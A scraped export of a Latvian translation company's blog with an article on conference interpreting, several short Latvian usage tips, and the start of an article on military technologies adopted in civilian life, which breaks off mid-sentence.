JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Konferenču tulkošana – apskati mūsu bloga rakstu un uzzini, kas nepieciešams, lai konference būtu izdevusies un tulkojums būtu kvalitatīvs. - Published: 2024-08-08 - Modified: 2025-07-16 - URL: https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/ - Kategorijas: Raksti - Translation Priorities: Optional KONFERENČU TULKOŠANA – PRIEKŠROCĪBAS, TERMINI UN SKAIDROJUMI Ar konferenču tulkošanu, iespējams, vairums no mums ir saskārušies, apmeklējot kādu starptautisku pasākumu un klausoties oratora “pārcelto” runu sev saprotamā valodā. Uzskatāmākais piemērs konferenču tulkošanā ir Eiropas Savienības un Komisijas iestāžu nodrošinātais vienlaicīgais, sinhronais tulkojums 24 valodās. Kādēļ šis tulkošanas veids ir svarīgs un kā tas atšķiras no rakstveida tulkojumiem – to caurskatīsim šajā bloga rakstā. KĀPĒC KONFERENČU TULKOŠANA IR NEPIECIEŠAMA Mūsdienu globālajā sabiedrībā, kurā pieaug angļu valodas zināšanas līmenis, varētu šķist, ka tulkot nav nepieciešams vispār. Taču ir vairums iemeslu, kādēļ joprojām ir vērts apsvērt pasākuma vai konferences tulkojuma nodrošināšanas iespēju. Lūk, daži no uzskatāmākajiem nosacījumiem, kādēļ var būt nepieciešams tulkot konferenci. Dalībnieki un apmeklētāji no dažādām valstīm. Lai veicinātu pieredzes un zināšanu apmaiņu, ir vērtīgi ieklausīties profesionāļos no dažādām valstīm un pat kultūrām. Tāpat iespējams piesaistīt ne tikai ārzemju ekspertus, kas uzstātos, bet arī aicināt skatītājus no citām valstīm, palielinot konferences atpazīstamību globālajā tirgū. Valodas barjeras “nojaukšana”. Runājot valodā, kas nav dzimtā, runātāji reizēm var neizteikties tik precīzi, kā paši vēlētos. Ar tulka palīdzību par to nav jāuztraucas. Precīza informācijas pārnese. Tulkojums samazina risku, ka tiktu izmantoti tādi vārdi vai izteicieni, ko klausītāji varētu pārprast. Ne katrs sakāmvārds, joks visās valodās nozīmē vienu un to pašu. Uzlabota spēja noturēt uzmanību. Ir vieglāk klausīties stāstījumu dzimtajā valodā – it īpaši skaļā vidē, kādas mēdz būt arī konferences –, tādējādi uzlabojot apmeklētāju iesaistīšanos pasākumā. Paaugstināta profesionālā latiņa. Pasākumam kļūstot atpazīstamākam un augstāka līmeņa, pieaug arī apmeklētāju gaidas – tajā skaitā tulkojuma nodrošināšanā. Apmeklētāji uz to paļaujas. Konferenču tulkošanā piemēro kādu no diviem mutiskās tulkošanas veidiem – sinhrono vai secīgo tulkošanu. Abi minētie tulkošanas veidi ir mutvārdu – katrs ar savām niansēm un priekšrocībām. Ieskatīsimies sīkāk, ar ko tie atšķiras. SECĪGĀ TULKOŠANA Sāksim ar secīgo tulkošanu, kas bieži tiek izvēlēta nelielos privātos vai darba pasākumos, piemēram, komandējumos vai kāzu ceremonijās vai citos līdzīgos notikumos. Secīgā tulkošana – kā jau liecina nosaukums – tiek uzsākta pēc runātā teksta “pabeigšanas”. Visbiežāk kā sapulcēs, tā arī mazākos pasākumos runātāji pasaka dažus teikumus, ietur nelielu pauzi, lai tulks, kas stāv blakus, varētu klausītājiem atstāstīt tikko dzirdēto, taču jau citā valodā. Lai veiktu šo tulkojumu, nav nepieciešams īpaši pielāgots aprīkojums – pietiek ar mikrofonu. SECĪGĀS TULKOŠANAS PRIEKŠROCĪBAS Precizitāte. Tulkam ir zināms laika sprīdis, lai apdomātu tikko dzirdēto un to pārnestu uz citu valodu, piemēram, vienkāršojot sarežģītākus terminus, kas ir jo īpaši noderīgi, lai nerastos pārpratumu. Zemas izmaksas. Kopumā secīga tulkošana ir lētāka, jo nav nepieciešams papildu tehniskais aprīkojums – pietiek ar mikrofonu, ko pasniegt tulkam. Tāpat iespējams aizvadīt pasākumu ar vienu tulku, pretstatot sinhronajai tulkošanai, kur tie būtu vajadzīgi vismaz divi tulki, kuri cits citu spētu nomainīt ik pēc 10-30 intensīva darba minūtēm. Elastīgums. Secīgā tulkošana ir piemērota sapulcēm vai mazākiem pasākumiem, kur reāllaika tulkošana nav tik svarīga, piemēram, īsi pirms koncerta. Mazāka mēroga pasākumos tulkošanu var uzņemties arī konkrētās nozares pārstāvji, kas labi orientējas tematikā un spēj puslīdz labi to izklāstīt dzimtajā valodā. SINHRONĀ TULKOŠANA Tehniskā ziņā sarežģītāka ir sinhronā tulkošana, kas tiek nodrošināta paralēli konferences dalībnieka stāstījumam, taču atkarībā no pasākuma apmēra un nopietnības, tā organizatoriem var būt krietni noderīgāka. Konferencēs lielākoties tiek izvēlēta sinhronā tulkošana vairāku iemeslu dēļ. Šādi iespējams nepārtraukt stāstīto, nodrošināt tulkojumu tiem skatītājiem, kuri to vēlas, kā arī reāllaikā sekot līdzi prezentētāja ķermeņa valodai, acu kontaktam, emocijām, stāstījuma plūdumam, vērot prezentācijas attēlus. Dažiem varētu likties dīvaini, kāpēc nepieciešami divi tulki uz katru valodas pāri, ja runātājs taču ir tikai viens. Divi tulki ir nepieciešami, jo sinhroni tulkojot, tulks nogurst no koncentrēšanās ātrāk, nekā tas notiktu secīgajā tulkošanā. Bez apstājas tulks kvalitatīvi veikt mutisko tulkošanu nevar, kaut vai ir nepieciešams laiks padzerties ūdeni. Šo var pielīdzināt jebkuram sporta veidam, mums visiem ir nepieciešams pārtraukums, lai atjaunotu spēkus. Parasti tulki mainās ik pēc 20–30 minūtēm. SINHRONĀS TULKOŠANAS PRIEKŠROCĪBAS Ātrums un efektivitāte. Nav jāpārtrauc runātāja teiktais, jo skatītāji klausās tulkojumu reāllaikā tikai ar dažu sekunžu nobīdi. Tādējādi visi apmeklētāji spēj sekot līdzi runātāju emocijām, ķermeņa valodai, acu kontaktam, runas plūdumam un jokiem. Palielināta uztveramība. Uz konferenci ataicinot augsta līmeņa ekspertu no ārzemēm, iespējams, ne visi klausītāji stāstīto uztvertu vienlīdz labā līmenī. Tāpat iespējams nodrošināt plūstošu jautājumu un atbilžu sesiju, palielinot apmeklētāju iesaisti pasākumā. Iespēja izvēlēties. Katrs klausītājs ir ar dažādu zināšanu bagāžu un valodas prasmju līmeni. Pretstatā secīgajai tulkošanai sinhronā sniedz iespēju izvēlēties klausīties runu oriģinālvalodā vai tulkojumā. IZAICINĀJUMI NODROŠINOT KONFORENCES TULKOŠANU Par izaicinājumiem, ar kādiem saskaras tulki, veicot mutvārdu tulkošanu, varētu sarakstīt atsevišķu bloga rakstu, jo process ir gana sarežģīts. Ieskatīsimies dažos, kurus ieteicams apsvērt arī pasākumu rīkotājiem. Augsts prasmju slieksnis Neatkarīgi no tā, kurš tulkošanas veids tiek izvēlēts, nenoliedzami tulka lomā nepieciešama persona ar augstu prasmju līmeni, kā arī atbilstošu pieredzi un ļoti vispusīgām zināšanām praktiski par jebkuru dzīves jomu. Jo īpaši tas ir svarīgi konferencēs, kur nevietā pateikts vai pārklausīts vārds var būtiski mainīt runas jēgu un rosināt pārpratumus. Terminoloģijas, satura pārzināšana Līdztekus spējai zibenīgi veikt mutisku lokalizāciju, tulkiem ir nepieciešama visa iespējamā fona informācija, lai iespējamie termini, fakti, cipari, grāmatu nosaukumi, kas varētu tikt lietoti runas laikā, tiktu pārzināti labā līmenī. Šis ir jo īpaši svarīgi konferencēs ar dažādu tematiku, kuras visas tulki var nepārzināt vienlīdz labā līmenī. Tehniskas problēmas Ikvienu satura ziņā bagātīgu pasākumu var piemeklēt tehniska rakstura problēmas, kas apgrūtina ne tikai konferences dalībnieku, bet arī tulku teiktā uztveri. Lai samazinātu šo risku, ir vērtīgi izveidot rīcības plānu, kas notiks vai kurš rīkosies, ja rodas kāda tehniska ķibele. Tehnisku problēmu risku var krietni samazināt, pirms konferences sākuma rūpīgi izmēģinot visu iespējamo aparatūru, kā arī to pielāgot pēc nepieciešamības. Augstās izmaksas Ko darīt, ja sinhronās tulkošanas aprīkojums šķiet par dārgu? Dažkārt, ja tulkojums nav tik būtisks, var izlīdzēties ar lētāku risinājumu, piemēram, gidu aprīkojumu. Kvalitāte būs zemāka un var traucēt dažiem zālē sēdošajiem, bet dažkārt tas ir risinājums, ja budžets ir nepietiekams. Tomēr noteikti vēlreiz jāatgādina – kvalitāte noteikti cietīs. Bieži ir jautājums no mūsu klientiem par pārtraukumu un pusdienu paužu iekļaušanu cenu aprēķinā. Šī pozīcija tiek ierēķināta, jo tulks/tulki ir rezervēti uz konkrēto dienu/stundu skaitu, kurā ietilpst arī pārtraukumi un pusdienu pauzes. Kultūru atšķirības Kas vienā kultūrā ir pieņemams, citā var izraisīt neizpratni. Bieži vien runātāji savās runās pievieno arī devu humora, lai noturētu klausītāju uzmanību, iesaistītu aktīvi uzdot jautājumus vai pārvarētu uztraukumu. Ņemot vērā katras kultūras un to vēstures atšķirības, jokus ļoti reti var pārnest no vienas valodas otrā, neieviešot zināmas korekcijas, lai ne tikai tiktu uztverta teiktā jēga, bet arī saglabāts humors. Tas pats attiecas arī uz salīdzinājumiem, metaforām un citiem valodas izteiksmes līdzekļiem, kas vienā valodā ir ikdienišķi, savukārt citā – teju vai tabu statusā. Piemēram, ASV nereti tiek runāts par kādu problēmu atrisināšanu, pret to uzsākot “krusta karu”, kas daudzās citās valstīs – tajā skaitā arī Latvijā – ir ar citādu nokrāsu. 5 SKRIVANEK PADOMI, LAI NODROŠINĀTU EFEKTĪVU KONFERENCES TULKOŠANU Lai parūpētos par veiksmīgu konferences tulkošanu, lūk, pieci mūsu padomi, kas noderēs organizatoriem, plānojot konferences nodrošināšanu. 1. RŪPĪGI SAGATAVOJIETIES Jau laikus sniedziet tulkiem (vai tulkošanas birojam, kas nodrošina tulkus) visus nepieciešamos materiālus – prezentācijas, runas, svarīgāko un sarežģītāko terminoloģiju, faktus, skaitļus, nosaukumus, vārdus un uzvārdus –, lai parūpētos, ka tulkojums “neaizķeras” un noris bez lieliem sarežģījumiem. Piemēram, tulkošana tirdzniecības nozarei vajadzību un terminoloģijas ziņā krietni atšķiras no jurisprudences, celtniecības, psiholoģijas vai citiem lauciņiem. Dažreiz tulki slikti redz uz skatuves notiekošo un viņiem bez papildu materiāliem ir neiespējami nodot precīzi visus faktus, īpaši ir grūti izrunājami uzvārdi, vietas utt. Tāpat, sadarbojoties ar tulkiem, bieži ir jāpadomā par to, kā viņi nokļūst līdz pasākumam, vai nepieciešamas naktsmītnes, kā arī par daudziem citiem organizatoriskiem jautājumiem. 2. PĀRBAUDIET APRĪKOJUMU Atkarībā no izvēlētā tulkošanas veida atšķiras nepieciešamais aprīkojums. Secīgajai tulkošanai pietiek ar mikrofonu, taču sinhronajai vajadzīgas arī tulkošanas kabīnes, austiņas kā tulkiem, tā arī konferences apmeklētājiem un dalībniekiem, kā arī cita veida tehniskās ierīces, kuras pirms pasākuma atklāšanas būtu jāpārbauda, kā arī būtu jāpārliecinās, ka tulkos redzēs uz skatuves notiekošo, jo nereti ir svarīgi redzēt, ko runātājs uz skatuves dara. 3. NOLĪGSTIET KVALIFICĒTUS TULKUS UN TULKOŠANAS BIROJU Secīgajai tulkošanai maza apjoma pasākumos nereti pietiek ar kolēģu palīdzību. Taču konferencēs, kur tematika katrā runā vai prezentācijā var atšķirties, ir svarīgi vienoties ar tulkošanas biroju vai kvalificētiem tulkiem par pakalpojuma nodrošināšanu. Rīkotāji bieži izvēlas tulkošanas birojus, lai nodrošinātu vairāku valodu tulkojumu, kā arī nebūtu jādomā par tehnisko risinājumu nodrošinājumu. 4. VEICINIET SKAIDRU SAZIŅU Lai tulkojums būtu tikpat kvalitatīvs kā runa, uz kuras tas balstīts, ieteicams “runāt skaidru valodu” ar visām pasākumā iesaistītajām pusēm, lai nerastos neskaidrības, kā arī jau laikus varētu izrunāt svarīgākos problēmjautājumus. Īpaši ir svarīgi izrunāt ar prezentētājiem, runas laikā nesteigties, izdomāt, kādu žestu, ko jūs varētu rādīt, ja runātājs no uztraukuma ber vārdus kā pupas. 5. VEICIET APTAUJU UN ANALĪZI PĒC KONFERENCES Lai novērtētu kā pašas konferences, tā arī sniegtā tulkojuma kvalitāti, ieteicams aptaujāt pasākuma dalībniekus un apmeklētājus. Tādējādi spēsiet pieņemt pārdomātus, datos balstītus secinājumus, kā arī izvēlēties atbilstošos risinājumus nākamās konferences rīkošanai. KOPSAVILKUMS Mūsdienu globālajā pasaulē konferenču tulkošana ir būtisks rīks un pat palīgs, lai samazinātu dažādu valodu barjeru un apmainītos ar jaunākajām idejām, veicinātu un produktu un pakalpojumu pārdošanu un veidotu sava, kā eksperta publisko tēlu. Kā sinhronajai, tā arī secīgajai tulkošanai ir savas priekšrocības – arī trūkumi. Izvēloties vienu no šiem tulkošanas veidiem, ir svarīgi ņemt vērā pasākuma veidu, dalībnieku un skatītāju skaitu, kā arī temata/-u sarežģītību. Katram no šiem parametriem mainoties, palielinās vajadzība pēc papildu sagatavotības no organizatoru un tulku puses, lai nodrošinātu labākās kvalitātes tulkojumu. Saliekot kopā visus augstākminētos lielumus un padomus, var nonākt līdz secinājumam par izmaksu ziņā izdevīgāko risinājumu, lai spētu nodrošināt labas kvalitātes konferences tulkošanu. Mēs, Skrivanek Baltic, ar prieku dalīsimies ar savu pieredzi, padomiem un risinājumiem – ne tikai par tulkošanu, bet arī par nepieciešamā aprīkojuma nodrošināšanu, tā izvietošanu telpā, laicīgu materiālu nodošanu tulkiem un citiem svarīgiem sīkumiem. Ieteiksim pašu piemērotāko risinājumu plānotajam pasākumam un budžetam. Bloga raksta sagatavošanā daļēji izmantota informācija no Latvijas Universitātes profesora Andreja Veisberga grāmatas “Konferenču tulkošana” (2016). --- > Kuru no saikļiem lietot – kā vai nekā?? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-07-12 - Modified: 2025-03-20 - URL: https://skrivanek.lv/ka-vai-neka/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KĀ VAI NEKĀ 1 Piraija ir biedējošāka zivs nekā sams. Vai tomēr – piraija nav biedējošāka kā sams? Partikulas ‘kā’ un ‘nekā’ lieto, lai salīdzinātu divu priekšmetu, parādību vai dzīvu būtņu īpašības, izmantojot pārākās pakāpes īpašības vārdus. Partikulu ‘kā’ lieto nolieguma konstrukcijās, savukārt ‘nekā’ – apgalvojuma konstrukcijās. Skaidrojot šo principu vienkāršāk, varētu teikt šādi: gadījumos, kad jāsalīdzina dažādi lielumi, ir vajadzīgs viens noliegums. Violetie ceriņi smaržo spēcīgāk nekā baltie. / Baltie ceriņi nesmaržo spēcīgāk kā violetie. Jura soma bija lielāka nekā Ievas soma. / Ievas soma nebija lielāka kā Jura soma. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kuru no saikļiem lietot – jeb vai jebšu? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-07-11 - Modified: 2024-08-15 - URL: https://skrivanek.lv/jeb-vai-jebsu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JEB VAI JEBŠU 1 Ikdienā nereti var dzirdēt cilvēkus sakām vārdu “jebšu”, lietojot to ar nozīmi ‘jeb’. Tomēr šāds lietojums uzskatāms par nevēlamu, jo saikļa “jebšu” patiesā nozīme ir ‘kaut gan’, ‘lai gan’. Tiesa, skanējuma līdzības dēļ teikums: “Es izdarīju visu iespējamo, jebšu tas bija ļoti grūti. ” Izklausās gandrīz vai nepareizi. Mūsdienu latviešu valodas vārdnīcā arī norādīts, ka saiklis ‘jebšu’ ir novecojis. Tāpēc izvēlēsimies lietot “jebšu” ar nozīmi ‘kaut gan’ tekstos, kur vēlamies piešķirt īpašu nokrāsu, taču nejauksim vārda nozīmes un nelietosim “jebšu” saikļa “jeb” vietā, runājot par diviem vienas nozīmes vārdiem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauc vielu, kura ir tik nozīmīga cilvēka ķermenim: kalogēns vai kolagēns? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-07-11 - Modified: 2024-10-22 - URL: https://skrivanek.lv/kontrobass-vai-kontrabass/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KONTROBASS VAI KONTRABASS 1 Grupas "Dagamba" dalībniece Alise Broka spēlē kontrabasu, vai tomēr – kontrabasu? Citvalodu cilmes vārdi latviešu valodā mēdz radīt apjukumu – kad tad lietot patskani “o”, kad izvēlēties patskani “a” un kad patskani izlaist vispār? Šādos gadījumos jāskatās vārda cilme. Vārds “kontrabass” cēlies no itāļu “contrabasso”. Tāpat salikteņa daļa “kontra-” nozīmē oktāvu zemāks. Tātad grupas "Dagamba" dalībniece Alise Broka spēlē kontrabasu. Orķestra sastāvā redzēsim kontrabasu un kontrafagotu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Atbalstīsim mūsu sportistus Olimpiskajās spēlēs vai Olimpiskajās spēlēs? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-07-11 - Modified: 2024-08-15 - URL: https://skrivanek.lv/parizes-olimpiskas-speles-vai-parizes-olimpiskas-speles/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PARĪZES OLIMPISKĀS SPĒLES VAI PARĪZES OLIMPISKĀS SPĒLES 1 Skatoties Parīzes Olimpiskās spēles, neazmirsīsim aplaudēt par mūsu sportistu sasniegumiem. Vai skatoties Parīzes olimpiskās spēles, neazmirsīsim aplaudēt par mūsu sportistu sasniegumiem? Dažādos avotos atrodamas atšķirīgas versijas par to, kā lietojami lielie burti olimpisko spēļu nosaukumos. Konsekvences labad pieņemts, ka vārdkopa “olimpiskās spēles”rakstāma ar mazajiem sākumburtiem. Tas attiecināms uz visiem olimpisko spēļu nosaukumiem. Tātad skatoties Parīzes olimpiskās spēles, neazmirsīsim aplaudēt par mūsu sportistu sasniegumiem! Rakstīsim Parīzes olimpiskās spēles, vasaras olimpiskās spēles, 2024. gada olimpiskās spēles. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vorčesteras mērce vai Vusteras mērce – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-07-02 - Modified: 2024-07-02 - URL: https://skrivanek.lv/vorcesteras-merce-vai-vusteras-merce/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VORČESTERAS MĒRCE VAI VUSTERAS MĒRCE 1 Ēdienu papildināsim ar Vorčesteras mērci vai Vusteras mērci? Vusteras mērces nosaukums daudziem latviešiem rada apjukumu. Tas tālab, ka angliski vārda ‘Worcester’ rakstība nelīdzinās tā izrunai, kas savukārt ir īpašvārdu atveides pamatā. 19. gadsimta sākumā Vusteras pilsētas aptiekāri Džons Vīlijs Lijs un Viljams Henrijs Perinss radīja mērci, kas aizvien ir lielisks papildinājums steikiem, hamburgeriem, dažādiem salātiem un pat dzērieniem. Mērces nosaukums cēlies no vietas, kurā tā radīta, proti, Vusteras pilsētas. Mērces sastāvā ir iesala etiķis, spirta etiķis, anšovi, tamarinds, ķiploki, sīpoli, cukurs, sāls un citas garšvielas. Lieliskās garšas dēļ Vusteras mērci sāka pievienot arī ēdieniem, kuru oriģinālajā receptē tās nemaz nebija. 1876. gadā Anglijas Augstākā tiesa lēma, ka Lijam un Perinsam nevar piederēt preču zīme ar nosaukumu ‘Vustera’, un kopš tā laika Vusteras mērces nosaukumu lieto dažādām līdzīgām mērcēm. Tātad sulīgu steiku papildināsim ar Vusteras mērci! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Militāro tehnoloģiju attīstība pozitīvi ietekmē arī civilo un komerciālo nozari. Uzzini vairāk par starptautiskiem un Latvijas uzņēmumiem. - Published: 2024-07-02 - Modified: 2024-10-22 - URL: https://skrivanek.lv/militaras-tehnologijas/ - Kategorijas: Raksti - Translation Priorities: Optional MILITĀRĀS TEHNOLOĢIJAS Šodienas apstākļos aizvien vairāk tiek domāts un strādāts pie inovācijām militārās un civilās aizsardzības jomā. Lai konkurētu ar potenciālajiem pretiniekiem, valstīm ir jāizmanto un jāattīsta progresīvas nākotnes tehnoloģijas un kompetences. Lai sasniegtu šo mērķi, neizbēgama izvēle ir kopējs darbs militāro, civilo un tehnisko inovāciju jomā. MILITĀRO TEHNOLOĢIJU ATTĪSTĪBAS REZULTĀTĀ RADUŠIES RISINĀJUMI, KAS IENĀKUŠI MŪSU IKDIENĀ Iespējams, mēs pat nenojaušam, ka daudzu izgudrojumu, ko izmantojam ikdienā, pirmsākumi meklējami militārajā jomā. Turpmāk sniegti daži šādi piemēri. INTERNETS Populārākais izgudrojums, kas no poligona nonāca civilajā tirgū, ir internets. Beidzoties Otrajam pasaules karam, ASV valdība baidījās, ka tuvojas vēl viens globāls konflikts. Tad amerikāņi secināja, ka panākumu atslēga iespējamā nākamajā sadursmē ir ne tikai spēks un ieroči, bet arī efektīva informācijas plūsma. Tā radās ideja par sakaru tīkla izveidi. Šādu uzdevumu 1958. gadā ASV prezidents Dvaits Deivids Eizenhauers (Dwight David Eisenhower) uzdeva veikt īpaši šim nolūkam izveidotai pētniecības organizācijai ar nosaukumu DARPA jeb Defence Advanced Research Project Agency, ko latviski varētu dēvēt par Aizsardzības attīstīto projektu aģentūru. Pēc 11 gadiem tika uzbūvēti pirmie sakaru mezgli, un radās ARPANET tīkls – mūsdienu interneta priekštecis. Tieši šajā tīklā 1971. gadā, pateicoties Rejam Tomlinsonam (Ray Tomlinson) tika nosūtīts vēsturē pirmais e-pasts. Viņa darba rezultāts ASV Aizsardzības departamentā bija programmatūra, kas tika izmantota saziņai valdības ARPANET tīklā. Tomlinsons arī ieviesa @ simbolu e-pastu adrešu sistēmās. GPS Arī GPS, ko mēs izmantojam gandrīz katru dienu, saknes meklējamas militārajā nozarē. Tas tika izstrādāts ASV Jūras kara flotes vajadzībām. 1973. gada decembrī sākās pirmais GPS sistēmas izveides posms – NAVSTAR. Šajā projektā piedalījās visas ASV armijas nozares (sauszemes spēki, jūras spēki, gaisa spēki), kā arī privātie uzņēmumi un pētniecības centri. DRONI Viena no jaunākajām ierīcēm, kas ir atradusi savu vietu civilajā tirgū, ir bezpilota lidaparāti jeb droni. Jau no pašiem pirmsākumiem šīs ierīces tika ražotas militārām vajadzībām, bet šobrīd tās var iegādāties ikviens. Slavenākais militārais drons ir Predator, kas atzīts par vienu no 10 lidaparātiem, kas mainīja pasauli. Bezpilota lidaparāti ir uz visiem laikiem mainījuši 